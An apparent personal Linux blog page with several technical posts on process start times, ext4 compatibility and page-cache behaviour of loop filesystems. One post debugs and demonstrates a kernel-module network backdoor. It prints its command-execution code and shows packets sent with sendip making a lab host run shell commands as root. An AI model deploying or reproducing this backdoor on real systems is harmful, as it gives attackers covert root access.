Thursday, December 12, 2013

Calculating the start time of a process

A quick script that calculate the start time of a process in Linux:

#!/usr/bin/env python
# vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 textwidth=79 autoindent
"""
Python source code
Last modified: 12 Dec 2013 - 14:43
Last author: Laban Mwangi
Calculates the start of a process based on it's /proc/pid/stat file and
the system uptime from /proc/uptime.
Rough hewn - No exception handling
Example:
# echo python pid_start.py -p $$
python pid_start.py -p 8153
# python pid_start.py -p $$
Process 8153 started 1:05:28.800000 ago
Start time: 2013-12-12 13:56:39.081335
"""
import optparse
import os
import sys
import datetime
def calc_pid_start_time (args):
pid = args.pid
clock_ticks = os.sysconf("SC_CLK_TCK")
start_time_after_boot = float(open("/proc/%d/stat" % pid).read().split()[21])
seconds_since_boot = float(open("/proc/uptime").read().split()[0])
start_time_seconds = seconds_since_boot - start_time_after_boot / clock_ticks
start_time_delta = datetime.timedelta(seconds=start_time_seconds)
print "Process %d started %s ago" % (pid, start_time_delta)
print "Start time: ", datetime.datetime.now() - start_time_delta
def main():
"""Main function. Called when this file is a shell script"""
usage = "usage: %prog [options]"
parser = optparse.OptionParser(usage)
parser.add_option("-p", "--pid", dest="pid",
default="1", type="int",
help="PID of process")
(options, args) = parser.parse_args()
calc_pid_start_time(options)
if __name__ == '__main__':
main()
view raw pid_start.py hosted with ❤ by GitHub

Monday, November 4, 2013

EXT4 err: couldn't mount because of unsupported optional features

Backward & Forwards compatibility is great! Until it bites you.

The extN branch of filesystem is the pretty much the standard on your average GNU/Linux installation. Migrations tend to work well if N is increasing i.e. from ext2->ext3->ext4. However, things are not so rosy if you want to mount your ext4 disk on your old PC.
Ext4 which made it into mainline in 2.6.27 introduces new features such as extents that are incompatible and unknown by older kernels. Attempting to mount an incompatible extN fs on your old kernel will fail and err out with logs similar to:

EXT3-fs: sda1: couldn't mount because of unsupported optional features (240).

EXT2-fs: sda1: couldn't mount because of unsupported optional features (240).

Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,1)
The kernel here attempts to probe and mount the using the most recent extN. If that fails it tries the next ext filesystem and so on. In this case, this is a 2.6.16 kernel attempting to mount an ext4 fs with new features.


# dumpe2fs /tmp/img.ext4
.....
Filesystem volume name: /
Last mounted on: /mnt/tmp
Filesystem magic number: 0xEF53
Filesystem revision #: 1 (dynamic)
Filesystem features: has_journal ext_attr resize_inode dir_index filetype extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize
Filesystem flags: signed_directory_hash


 The solution in this case is to use a newer kernel that understands ext4 or recompile your kernel to support ext4.

Monday, October 28, 2013

Linux kernel network backdoor

The ksplice blog has a very nice entry on hosting backdoors in hardware.
The quick summary of this backdoor is:
  1. Register a protocol handler for an unused IP protocol number .
  2. Call usermodhelper to execute the payload of the packet (skb->data).
  3. Remote system now executes any command that you send it as root.
Unfortunately, it looks like the code is either out of date and/or buggy. Attempting to modprobe the backdoor module generates the following kernel call trace:

Oct 28 10:43:47 debian kernel: [269087.601151] pkt_len: 13, ipv4, hdr_len: 5
Oct 28 10:43:47 debian kernel: [269087.601154] s_ip: 192.168.127.108,
Oct 28 10:43:47 debian kernel: [269087.601155] data: touch /tmp/x,
Oct 28 10:43:47 debian kernel: [269087.601156] About to run: touch /tmp/x,
Oct 28 10:43:47 debian kernel: [269087.601801] Modules linked in: backdoor_buggy(O) vboxsf(O) ppdev lp bnep rfcomm bluetooth rfkill uinput nfsd nfs nfs_acl auth_rpcgss fscache lockd sunrpc ext2 loop joydev iTCO_wdt iTCO_vendor_support psmouse pcspkr serio_raw evdev rng_core usbhid hid i2c_piix4 i2c_core snd_intel8x0 snd_ac97_codec snd_pcm snd_page_alloc snd_timer snd soundcore ac97_bus parport_pc battery processor parport vboxguest(O) thermal_sys ac button power_supply ext4 crc16 jbd2 mbcache dm_mod sg sd_mod sr_mod crc_t10dif cdrom ata_generic ata_piix ahci libahci ohci_hcd ehci_hcd libata usbcore e1000 usb_common scsi_mod [last unloaded: scsi_wait_scan]
Oct 28 10:43:47 debian kernel: [269087.601847] Pid: 7862, comm: sendip Tainted: G O 3.2.0-4-amd64 #1 Debian 3.2.46-1+deb7u1
Oct 28 10:43:47 debian kernel: [269087.601849] Call Trace:
Oct 28 10:43:47 debian kernel: [269087.601851] <IRQ> [<ffffffff813480b9>] ? __schedule_bug+0x3e/0x52
Oct 28 10:43:47 debian kernel: [269087.601859] [<ffffffff8134d29d>] ? __schedule+0x85/0x610
Oct 28 10:43:47 debian kernel: [269087.601863] [<ffffffff81041f3d>] ? __cond_resched+0x1d/0x26
Oct 28 10:43:47 debian kernel: [269087.601865] [<ffffffff8134d877>] ? _cond_resched+0x12/0x1c
Oct 28 10:43:47 debian kernel: [269087.601866] [<ffffffff8134d89f>] ? wait_for_common+0x1e/0x119
Oct 28 10:43:47 debian kernel: [269087.601869] [<ffffffff8134ebc7>] ? _raw_spin_unlock_irqrestore+0xe/0xf
Oct 28 10:43:47 debian kernel: [269087.601872] [<ffffffff8105af63>] ? queue_work_on+0x2f/0x3d
Oct 28 10:43:47 debian kernel: [269087.601875] [<ffffffff8105972c>] ? call_usermodehelper_exec+0xa3/0xe8
Oct 28 10:43:47 debian kernel: [269087.601879] [<ffffffffa03ec0e3>] ? exec_packet+0xe3/0x102 [backdoor_buggy]
Oct 28 10:43:47 debian kernel: [269087.601883] [<ffffffff812b6bf1>] ? ip_local_deliver_finish+0x143/0x1b0
Oct 28 10:43:47 debian kernel: [269087.601886] [<ffffffff8128d974>] ? __netif_receive_skb+0x3fb/0x42d
Oct 28 10:43:47 debian kernel: [269087.601888] [<ffffffff8128da12>] ? process_backlog+0x6c/0x123
Oct 28 10:43:47 debian kernel: [269087.601892] [<ffffffff8119d268>] ? blk_done_softirq+0x65/0x74
Oct 28 10:43:47 debian kernel: [269087.601894] [<ffffffff8128f907>] ? net_rx_action+0xa1/0x1af
Oct 28 10:43:47 debian kernel: [269087.601897] [<ffffffff8104b614>] ? __local_bh_enable+0x40/0x77
Oct 28 10:43:47 debian kernel: [269087.601899] [<ffffffff8104c1ac>] ? __do_softirq+0xb9/0x177
Oct 28 10:43:47 debian kernel: [269087.601902] [<ffffffff81355dec>] ? call_softirq+0x1c/0x30
Oct 28 10:43:47 debian kernel: [269087.601903] <EOI> [<ffffffff8100f8cd>] ? do_softirq+0x3c/0x7b
Oct 28 10:43:47 debian kernel: [269087.601909] [<ffffffff8104c0d7>] ? _local_bh_enable_ip.isra.11+0x76/0x88
Oct 28 10:43:47 debian kernel: [269087.601911] [<ffffffff81290cd3>] ? dev_queue_xmit+0x458/0x46b
Oct 28 10:43:47 debian kernel: [269087.601914] [<ffffffff812b950c>] ? ip_finish_output2+0x1ca/0x1f9
Oct 28 10:43:47 debian kernel: [269087.601916] [<ffffffff812d4252>] ? raw_sendmsg+0x5ef/0x7b6
Oct 28 10:43:47 debian kernel: [269087.601920] [<ffffffff810b47bd>] ? sleep_on_page+0xa/0xa
Oct 28 10:43:47 debian kernel: [269087.601923] [<ffffffff8110b0b4>] ? __d_lookup_rcu+0x34/0xfe
Oct 28 10:43:47 debian kernel: [269087.601925] [<ffffffff810b4683>] ? find_get_page+0x40/0x62
Oct 28 10:43:47 debian kernel: [269087.601928] [<ffffffff810364e8>] ? should_resched+0x5/0x23
Oct 28 10:43:47 debian kernel: [269087.601932] [<ffffffff8127e841>] ? sock_sendmsg+0xc1/0xde
Oct 28 10:43:47 debian kernel: [269087.601934] [<ffffffff8134ecfb>] ? _raw_spin_lock_bh+0xe/0x1c
Oct 28 10:43:47 debian kernel: [269087.601937] [<ffffffff8128140e>] ? release_sock+0x17/0x101
Oct 28 10:43:47 debian kernel: [269087.601939] [<ffffffff8104c07f>] ? _local_bh_enable_ip.isra.11+0x1e/0x88
Oct 28 10:43:47 debian kernel: [269087.601941] [<ffffffff812bcd93>] ? do_ip_setsockopt.isra.6+0xa4a/0xa87
Oct 28 10:43:47 debian kernel: [269087.601943] [<ffffffff810364e8>] ? should_resched+0x5/0x23
Oct 28 10:43:47 debian kernel: [269087.601945] [<ffffffff8134d86c>] ? _cond_resched+0x7/0x1c
Oct 28 10:43:47 debian kernel: [269087.601947] [<ffffffff8127d28f>] ? copy_from_user+0x18/0x30
Oct 28 10:43:47 debian kernel: [269087.601950] [<ffffffff812800d7>] ? sys_sendto+0xf7/0x137
Oct 28 10:43:47 debian kernel: [269087.601953] [<ffffffff812bcea1>] ? ip_setsockopt+0x2b/0x8b
Oct 28 10:43:47 debian kernel: [269087.601955] [<ffffffff81353b92>] ? system_call_fastpath+0x16/0x1b
view raw gistfile1.txt hosted with ❤ by GitHub
Further investigations reveal that this is due to us calling a sleepy method from an atomic one... call_usermodhelper will eventually call wait_for_common which sleeps.  You do not want to sleep in an ISR routine.

lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done.
(gdb) l *exec_packet+0xe3
0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17).
12 static void shell_exec (struct sk_buff *skb) {
13 char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
14 char *cmd[] = {"/bin/sh", "-c", skb->data, NULL};
15 printk(KERN_INFO "About to run: %s, ", skb->data);
16 call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC);
17 kfree_skb(skb);
18 }
view raw bugg_code.c hosted with ❤ by GitHub
The fix for this is to use a deferrable; we need to stop working in an interrupt context and schedule the non atomic work for future processing.

One possible solution is to use work queues for deferrable work. Here's an example implementation in github using work queues.

And here's an example session:
# Dropping a cookie
$ ls /tmp/
ssh-6CCizuH8ioj3
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$ ls /tmp/
ssh-6CCizuH8ioj3 x
# And another one
$ echo -ne "touch /tmp/hello \0" | hexdump -C
00000000 74 6f 75 63 68 20 2f 74 6d 70 2f 68 65 6c 6c 6f |touch /tmp/hello|
00000010 20 00 | .|
$ echo -ne "touch /tmp/hello \0" > payload
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$ ls /tmp/
hello ssh-6CCizuH8ioj3 x
$ sudo tcpdump -i any -n icmp&
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
[1]+ sudo tcpdump -i any -n icmp &
$ echo -ne "ping -c 2 8.8.8.8 \0" > payload
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$
11:55:18.500262 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 1, length 64
11:55:18.699243 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 1, length 64
11:55:19.501678 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 2, length 64
11:55:19.706129 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 2, length 64
---- Corresponding logs
Oct 28 11:51:30 debian kernel: [ 81.898799] pkt_len: 13, ipv4, hdr_len: 5
Oct 28 11:51:30 debian kernel: [ 81.898802] s_ip: 192.168.1.15,
Oct 28 11:51:30 debian kernel: [ 81.898803] data: touch /tmp/x, All done..
Oct 28 11:51:30 debian kernel: [ 81.898809] Worker received skb ffff88001ee191c0
Oct 28 11:52:35 debian kernel: [ 81.898810] worker received data: touch /tmp/x,
Oct 28 11:52:35 debian kernel: [ 146.791121] pkt_len: 0, ipv4, hdr_len: 5
Oct 28 11:52:35 debian kernel: [ 146.791125] s_ip: 192.168.1.15,
Oct 28 11:52:35 debian kernel: [ 146.791127] data: , All done..
Oct 28 11:52:35 debian kernel: [ 146.791135] Worker received skb ffff88001bffc0c0
Oct 28 11:53:03 debian kernel: [ 146.791137] worker received data: ,
Oct 28 11:53:03 debian kernel: [ 174.826200] pkt_len: 18, ipv4, hdr_len: 5
Oct 28 11:53:03 debian kernel: [ 174.826203] s_ip: 192.168.1.15,
Oct 28 11:53:03 debian kernel: [ 174.826204] data: touch /tmp/hello , All done..
Oct 28 11:53:03 debian kernel: [ 174.826210] Worker received skb ffff88001bffc6c0
Oct 28 11:54:29 debian kernel: [ 174.826211] worker received data: touch /tmp/hello ,
Oct 28 11:54:29 debian kernel: [ 260.700901] pkt_len: 21, ipv4, hdr_len: 5
Oct 28 11:54:29 debian kernel: [ 260.700904] s_ip: 192.168.1.15,
Oct 28 11:54:29 debian kernel: [ 260.700905] data: ping -c 2 192.168.1.15 , All done..
Oct 28 11:54:29 debian kernel: [ 260.700912] Worker received skb ffff88001bffc6c0
Oct 28 11:55:18 debian kernel: [ 260.700913] worker received data: ping -c 2 192.168.1.15 ,
Oct 28 11:55:18 debian kernel: [ 309.900887] pkt_len: 20, ipv4, hdr_len: 5
Oct 28 11:55:18 debian kernel: [ 309.900891] s_ip: 192.168.1.15,
Oct 28 11:55:18 debian kernel: [ 309.900892] data: ping -c 2 8.8.8.8 , All done..
Oct 28 11:55:18 debian kernel: [ 309.900900] Worker received skb ffff88001d86f680
view raw play.sh hosted with ❤ by GitHub

Friday, October 11, 2013

Linux: The pagecache and the loop back fs

Linux has a mechanism that allows you to create a block device that is backed by a file.  Most commonly, this is used to provide an encrpyted fs. All this is fine and dandy. However, you have to factor in that the Linux OS (And practically any other OS) will want to cache contents for block device in memory.
The reasoning here is. Accessing the contents of a file from a disk will cost you ~5ms. Rather than incur this cost on future reads, the OS caches the contents of the recently used file in a page cache. Future reads or writes to this file will hit the page cache which is orders of magnitude faster than your average disk.
This means that your writes will linger in memory until the your backing file's contents get evicted from the page cache. Using o_direct on files that are hosted within the loop backed fs won't help. You have to force pagecache evictions. The easiest way to do this is a call to fadvise and a sync to force pdflush to write your changes.

Here's an experiment:
I have 3 windows open.:
  • One running blktrace  which shows VFS activity.
  • One that has a oneshot dd.
  • One that has a bunch of shell commands that poke around the loop mounted fs.
The experiment is executed in the following order:
  1. An fadvise and a sync at the beginning to make sure the pagecache is clean and all writes are on the FS.
  2. We also print out a couple of stats from /proc/meminfo.
  3. We issue a dd call with direct I/O (oflag=direct).
  4. Print stats from /proc/meminfo and take a look at the backing file using debugfs.
  5. Show how much of the backing file is cached in the pagecache by using fincore.
  6. Evict the pagecache using the fadvise command from linux-ftools.
  7. Force a sync which wakes up pdflush to write out the dirty buffers.
  8. Run debugfs to take a peek at the backing fs again.
  9. Print out some more stats from meminfo.
Here's the script:
# Show the mountpoint for the loopbacked fs
mount |grep zero;
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cache";
# Give humans a chance to run dd in another window
echo -e "\n**Sleeping for 10.. Waiting for I/O**\n";
sleep 10;
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cache";
echo -e "\n****\n";
# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
ls -lisa /tmp/bah;
echo -e "\n****\n";
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cach|buff";
echo -e "\n****\n";
# What the actual backing file has (Reading the <real> disk data)
echo ls -l | /sbin/debugfs /tmp/zeros;
echo -e "\n\n****\n";
# How much of our backing file is in the pagecache
echo -e "\n****\n";
fincore /tmp/zeros;
# Kicking out the file from the pagecache
echo -e "\n****\n";
fadvise /tmp/zeros POSIX_FADV_DONTNEED;
# More stats
echo -e "\n****\n";
cat /proc/meminfo | egrep -i "dirty|cach|buff";
# Wake up pdflush and wait for it to flush dirty pages to the <real> hard disk
sync;
echo -e "\n*** Sleeping for 10.***\n";
sleep 10;
echo -e "\n****\n";
# Show whether we were able to evict the backing file from the page cache
fincore /tmp/zeros;
echo -e "\n****\n";
# Read the backing file contents
echo ls -l |/sbin/debugfs /tmp/zeros ;
echo -e "\n****\n";
# Last bunch of stats
cat /proc/meminfo | egrep -i "dirty|cach|buff";
echo -e "\n****\n";
And the output generated:
# Results for https://gist.github.com/labeneator/6937753
# Show the mountpoint for the loopbacked fs
/tmp/zeros on /tmp/bah type ext2 (rw,loop=/dev/loop0)
# Meminfo stats before ddd
Cached: 1947592 kB
SwapCached: 0 kB
Dirty: 0 kB
**Sleeping for 10.. Waiting for I/O**
## Actual dd command
###
## $ dd if=blktrace of=/tmp/bah/blktrace oflag=sync
## 212+1 records in
## 212+1 records out
## 108740 bytes (109 kB) copied, 0.016489 seconds, 6.6 MB/s
##
##
# Meminfo stats after dd. Notice that the Cached value grows by the 'blktrace' size from above '108k'
# Also note that we now have some dirty blocks. I believe that these are made up of the blktrace content + ext3 metadata + any other OS dirty buffers
Cached: 1947700 kB
SwapCached: 0 kB
Dirty: 160 kB
****
# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
# This is an ls -alisa /tmp/bah
total 309
2 1 drwxr-xr-x 3 23142 xxxx 1024 Oct 11 17:30 .
8936929 188 drwxrwxrwt 12 root root 188416 Oct 11 17:01 ..
12 108 -rw-r--r-- 1 root root 108740 Oct 11 17:30 blktrace
11 12 drwx------ 2 root root 12288 Oct 9 14:42 lost+found
# What does the world look like if we view the loopbacking file via debugfs.
# This reflects what's actually on disk
# Note that blktrace file is missing....
debugfs 1.39 (29-May-2006)
debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
debugfs:
****
# And we can see that it's in the pagecache
filename size total_pages min_cached page cached_pages cached_size cached_perc
-------- ---- ----------- --------------- ------------ ----------- -----------
/tmp/zeros 1,048,576 256 0 37 151,552 14.45
---
total cached size: 151,552
# Running fadvise to evict /tmp/zeros from the page cache
****
Going to fadvise /tmp/zeros as mode POSIX_FADV_DONTNEED
offset: 0
length: 1048576
mode: POSIX_FADV_DONTNEED
WIN
# Post fadvise stats
Buffers: 522112 kB
Cached: 1947548 kB
SwapCached: 0 kB
Dirty: 12 kB
###### Running sync to awake pdflush and sleeping for 10 secs
# Page cache stats after eviction
filename size total_pages min_cached page cached_pages cached_size cached_perc
-------- ---- ----------- --------------- ------------ ----------- -----------
/tmp/zeros 1,048,576 256 0 4 16,384 1.56
---
total cached size: 16,384
## What the backing fs looks like after pagecache eviction
debugfs 1.39 (29-May-2006)
debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
12 100644 (1) 0 0 108740 11-Oct-2013 17:30 blktrace
debugfs:
The interesting bits to note here is that writes to a loop back filesystems in Linux are not guaranteed to be on disk until you evict the pagecache and force a sync.

If you are interested in further digging, here's debug output from:

blktrace:
# printf "%10s %15s %5s %10s %5s %8s %5s %14s %8s %14s %5s\n" "Sequence" "Timestamp" "CPU" "Process" "PID" "devid" "RWBS" "Sector" "Blocks" "Bytes" "Action";./blktrace -d /dev/loop0 -o - | ./blkparse -i - -f "%10s %5T.%9t %5c %10C %5p %8D %5d %14S %8n %14N %2a\n"
Sequence Timestamp CPU Process PID devid RWBS Sector Blocks Bytes Action
1 0.000000000 0 dd 32506 7,0 W 76 2 1024 Q
2 0.000006148 0 dd 32506 7,0 W 18 2 1024 Q
3 0.000007682 0 dd 32506 7,0 N 0 0 0 U
4 0.000023931 0 dd 32506 7,0 W 76 2 1024 Q
5 0.000025840 0 dd 32506 7,0 W 18 2 1024 Q
6 0.000026339 0 dd 32506 7,0 N 0 0 0 U
7 0.000035417 0 dd 32506 7,0 W 78 2 1024 Q
8 0.000037037 0 dd 32506 7,0 W 18 2 1024 Q
9 0.000037982 0 dd 32506 7,0 N 0 0 0 U
10 0.000059674 0 dd 32506 7,0 W 78 2 1024 Q
11 0.000061141 0 dd 32506 7,0 W 18 2 1024 Q
12 0.000061527 0 dd 32506 7,0 N 0 0 0 U
13 0.000068399 0 dd 32506 7,0 W 80 2 1024 Q
14 0.000069862 0 dd 32506 7,0 W 18 2 1024 Q
15 0.000070181 0 dd 32506 7,0 N 0 0 0 U
16 0.000077161 0 dd 32506 7,0 W 80 2 1024 Q
17 0.000078575 0 dd 32506 7,0 W 18 2 1024 Q
18 0.000078917 0 dd 32506 7,0 N 0 0 0 U
19 0.000085263 0 dd 32506 7,0 W 82 2 1024 Q
20 0.000086591 0 dd 32506 7,0 W 18 2 1024 Q
21 0.000086925 0 dd 32506 7,0 N 0 0 0 U
22 0.000093163 0 dd 32506 7,0 W 82 2 1024 Q
23 0.000094517 0 dd 32506 7,0 W 18 2 1024 Q
24 0.000094836 0 dd 32506 7,0 N 0 0 0 U
25 0.000106479 0 dd 32506 7,0 W 84 2 1024 Q
26 0.000108122 0 dd 32506 7,0 W 18 2 1024 Q
27 0.000108504 0 dd 32506 7,0 N 0 0 0 U
28 0.000115147 0 dd 32506 7,0 W 84 2 1024 Q
29 0.000116805 0 dd 32506 7,0 W 18 2 1024 Q
30 0.000117139 0 dd 32506 7,0 N 0 0 0 U
31 0.000124562 0 dd 32506 7,0 W 86 2 1024 Q
32 0.000125991 0 dd 32506 7,0 W 18 2 1024 Q
33 0.000126351 0 dd 32506 7,0 N 0 0 0 U
34 0.000133418 0 dd 32506 7,0 W 86 2 1024 Q
35 0.000134810 0 dd 32506 7,0 W 18 2 1024 Q
36 0.000135148 0 dd 32506 7,0 N 0 0 0 U
37 0.000141715 0 dd 32506 7,0 W 88 2 1024 Q
38 0.000143133 0 dd 32506 7,0 W 18 2 1024 Q
39 0.000143437 0 dd 32506 7,0 N 0 0 0 U
40 0.000150440 0 dd 32506 7,0 W 88 2 1024 Q
41 0.000151835 0 dd 32506 7,0 W 18 2 1024 Q
42 0.000152226 0 dd 32506 7,0 N 0 0 0 U
43 0.000158722 0 dd 32506 7,0 W 90 2 1024 Q
44 0.000160062 0 dd 32506 7,0 W 18 2 1024 Q
45 0.000160399 0 dd 32506 7,0 N 0 0 0 U
46 0.000166581 0 dd 32506 7,0 W 90 2 1024 Q
47 0.000167879 0 dd 32506 7,0 W 18 2 1024 Q
48 0.000168197 0 dd 32506 7,0 N 0 0 0 U
49 0.000178014 0 dd 32506 7,0 W 92 2 1024 Q
50 0.000179465 0 dd 32506 7,0 W 18 2 1024 Q
51 0.000179878 0 dd 32506 7,0 N 0 0 0 U
52 0.000187129 0 dd 32506 7,0 W 92 2 1024 Q
53 0.000188629 0 dd 32506 7,0 W 18 2 1024 Q
54 0.000189027 0 dd 32506 7,0 N 0 0 0 U
55 0.000196251 0 dd 32506 7,0 W 94 2 1024 Q
56 0.000197762 0 dd 32506 7,0 W 18 2 1024 Q
57 0.000198156 0 dd 32506 7,0 N 0 0 0 U
58 0.000204736 0 dd 32506 7,0 W 94 2 1024 Q
59 0.000206150 0 dd 32506 7,0 W 18 2 1024 Q
60 0.000206540 0 dd 32506 7,0 N 0 0 0 U
61 0.000213231 0 dd 32506 7,0 W 96 2 1024 Q
62 0.000214687 0 dd 32506 7,0 W 18 2 1024 Q
63 0.000215017 0 dd 32506 7,0 N 0 0 0 U
64 0.000236458 0 dd 32506 7,0 W 96 2 1024 Q
65 0.000238025 0 dd 32506 7,0 W 18 2 1024 Q
66 0.000238573 0 dd 32506 7,0 N 0 0 0 U
67 0.000245846 0 dd 32506 7,0 W 98 2 1024 Q
68 0.000247219 0 dd 32506 7,0 W 18 2 1024 Q
69 0.000247605 0 dd 32506 7,0 N 0 0 0 U
70 0.000255846 0 dd 32506 7,0 W 98 2 1024 Q
71 0.000257182 0 dd 32506 7,0 W 18 2 1024 Q
72 0.000257508 0 dd 32506 7,0 N 0 0 0 U
73 0.000266975 0 dd 32506 7,0 W 102 2 1024 Q
74 0.000268183 0 dd 32506 7,0 W 100 2 1024 Q
75 0.000268667 0 dd 32506 7,0 N 0 0 0 U
76 0.000272403 0 dd 32506 7,0 W 18 2 1024 Q
77 0.000273191 0 dd 32506 7,0 N 0 0 0 U
78 0.000279433 0 dd 32506 7,0 W 102 2 1024 Q
79 0.000280963 0 dd 32506 7,0 W 18 2 1024 Q
80 0.000281342 0 dd 32506 7,0 N 0 0 0 U
81 0.000288619 0 dd 32506 7,0 W 104 2 1024 Q
82 0.000289838 0 dd 32506 7,0 W 100 2 1024 Q
83 0.000290213 0 dd 32506 7,0 N 0 0 0 U
84 0.000294249 0 dd 32506 7,0 W 18 2 1024 Q
85 0.000295044 0 dd 32506 7,0 N 0 0 0 U
86 0.000301218 0 dd 32506 7,0 W 104 2 1024 Q
87 0.000302681 0 dd 32506 7,0 W 18 2 1024 Q
88 0.000303004 0 dd 32506 7,0 N 0 0 0 U
89 0.000309849 0 dd 32506 7,0 W 106 2 1024 Q
90 0.000310982 0 dd 32506 7,0 W 100 2 1024 Q
91 0.000311425 0 dd 32506 7,0 N 0 0 0 U
92 0.000315108 0 dd 32506 7,0 W 18 2 1024 Q
93 0.000315813 0 dd 32506 7,0 N 0 0 0 U
94 0.000321511 0 dd 32506 7,0 W 106 2 1024 Q
95 0.000322884 0 dd 32506 7,0 W 18 2 1024 Q
96 0.000323274 0 dd 32506 7,0 N 0 0 0 U
97 0.000330513 0 dd 32506 7,0 W 108 2 1024 Q
98 0.000331627 0 dd 32506 7,0 W 100 2 1024 Q
99 0.000332126 0 dd 32506 7,0 N 0 0 0 U
100 0.000335588 0 dd 32506 7,0 W 18 2 1024 Q
101 0.000336357 0 dd 32506 7,0 N 0 0 0 U
102 0.000342104 0 dd 32506 7,0 W 108 2 1024 Q
103 0.000343435 0 dd 32506 7,0 W 18 2 1024 Q
104 0.000343855 0 dd 32506 7,0 N 0 0 0 U
105 0.000352517 0 dd 32506 7,0 W 110 2 1024 Q
106 0.000353709 0 dd 32506 7,0 W 100 2 1024 Q
107 0.000354122 0 dd 32506 7,0 N 0 0 0 U
108 0.000357588 0 dd 32506 7,0 W 18 2 1024 Q
109 0.000358323 0 dd 32506 7,0 N 0 0 0 U
110 0.000374025 0 dd 32506 7,0 W 110 2 1024 Q
111 0.000375814 0 dd 32506 7,0 W 18 2 1024 Q
112 0.000376215 0 dd 32506 7,0 N 0 0 0 U
113 0.000387468 0 dd 32506 7,0 W 112 2 1024 Q
114 0.000388646 0 dd 32506 7,0 W 100 2 1024 Q
115 0.000389044 0 dd 32506 7,0 N 0 0 0 U
116 0.000393278 0 dd 32506 7,0 W 18 2 1024 Q
117 0.000394021 0 dd 32506 7,0 N 0 0 0 U
118 0.000400252 0 dd 32506 7,0 W 112 2 1024 Q
119 0.000401699 0 dd 32506 7,0 W 18 2 1024 Q
120 0.000402033 0 dd 32506 7,0 N 0 0 0 U
121 0.000408571 0 dd 32506 7,0 W 114 2 1024 Q
122 0.000409727 0 dd 32506 7,0 W 100 2 1024 Q
123 0.000410124 0 dd 32506 7,0 N 0 0 0 U
124 0.000413725 0 dd 32506 7,0 W 18 2 1024 Q
125 0.000414531 0 dd 32506 7,0 N 0 0 0 U
126 0.000420162 0 dd 32506 7,0 W 114 2 1024 Q
127 0.000421553 0 dd 32506 7,0 W 18 2 1024 Q
128 0.000421902 0 dd 32506 7,0 N 0 0 0 U
129 0.000428346 0 dd 32506 7,0 W 116 2 1024 Q
130 0.000429457 0 dd 32506 7,0 W 100 2 1024 Q
131 0.000429805 0 dd 32506 7,0 N 0 0 0 U
132 0.000434299 0 dd 32506 7,0 W 18 2 1024 Q
133 0.000435034 0 dd 32506 7,0 N 0 0 0 U
134 0.000441126 0 dd 32506 7,0 W 116 2 1024 Q
135 0.000442551 0 dd 32506 7,0 W 18 2 1024 Q
136 0.000442930 0 dd 32506 7,0 N 0 0 0 U
137 0.000451715 0 dd 32506 7,0 W 118 2 1024 Q
138 0.000453001 0 dd 32506 7,0 W 100 2 1024 Q
139 0.000453444 0 dd 32506 7,0 N 0 0 0 U
140 0.000456741 0 dd 32506 7,0 W 18 2 1024 Q
141 0.000457544 0 dd 32506 7,0 N 0 0 0 U
142 0.000463714 0 dd 32506 7,0 W 118 2 1024 Q
143 0.000465462 0 dd 32506 7,0 W 18 2 1024 Q
144 0.000465789 0 dd 32506 7,0 N 0 0 0 U
145 0.000472559 0 dd 32506 7,0 W 120 2 1024 Q
146 0.000473696 0 dd 32506 7,0 W 100 2 1024 Q
147 0.000474029 0 dd 32506 7,0 N 0 0 0 U
148 0.000478320 0 dd 32506 7,0 W 18 2 1024 Q
149 0.000479120 0 dd 32506 7,0 N 0 0 0 U
150 0.000485177 0 dd 32506 7,0 W 120 2 1024 Q
151 0.000486607 0 dd 32506 7,0 W 18 2 1024 Q
152 0.000486937 0 dd 32506 7,0 N 0 0 0 U
153 0.000493703 0 dd 32506 7,0 W 122 2 1024 Q
154 0.000494802 0 dd 32506 7,0 W 100 2 1024 Q
155 0.000495196 0 dd 32506 7,0 N 0 0 0 U
156 0.000498823 0 dd 32506 7,0 W 18 2 1024 Q
157 0.000499529 0 dd 32506 7,0 N 0 0 0 U
158 0.000505072 0 dd 32506 7,0 W 122 2 1024 Q
159 0.000506554 0 dd 32506 7,0 W 18 2 1024 Q
160 0.000506880 0 dd 32506 7,0 N 0 0 0 U
161 0.000513910 0 dd 32506 7,0 W 124 2 1024 Q
162 0.000515009 0 dd 32506 7,0 W 100 2 1024 Q
163 0.000515418 0 dd 32506 7,0 N 0 0 0 U
164 0.000519022 0 dd 32506 7,0 W 18 2 1024 Q
165 0.000519825 0 dd 32506 7,0 N 0 0 0 U
